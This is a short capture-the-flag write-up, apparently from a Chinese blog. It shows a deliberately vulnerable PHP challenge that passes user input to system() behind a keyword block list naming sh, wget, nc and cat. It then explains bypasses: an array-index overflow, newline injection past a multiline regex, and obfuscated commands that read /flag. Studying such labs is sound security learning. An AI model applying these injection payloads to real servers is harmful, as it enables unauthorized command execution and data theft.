<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
首先第一步绕过,stuff[4294967296]=admin&stuff[1]=user 这里的数组下标4294967296 会溢出变为数组0然后依次增长。
第二步绕过主要因为这个/m多行匹配,因此我们只要传入两行数据如下:
1
ls
此时他会先对第⼀⾏进⾏匹配,再对第⼆⾏进⾏匹配。可以看到我们这⾥因为第⼀⾏为数字,所以肯定正确匹配。我们构造如下payload即可
num=1%0als
第三步的绕过有多种方法。
法一:
ca``t /fla``g
法二:使⽤inode
法三: a=f;b=la;c=g;tac /$a$b$c
法四:
printf /fla > /tmp/hello
printf g >> /tmp/hello
tac `tac /tmp/hello`
标签:tmp,匹配,favorite,number,数组,tac,绕过,hello From: https://www.cnblogs.com/meng-han/p/16760568.html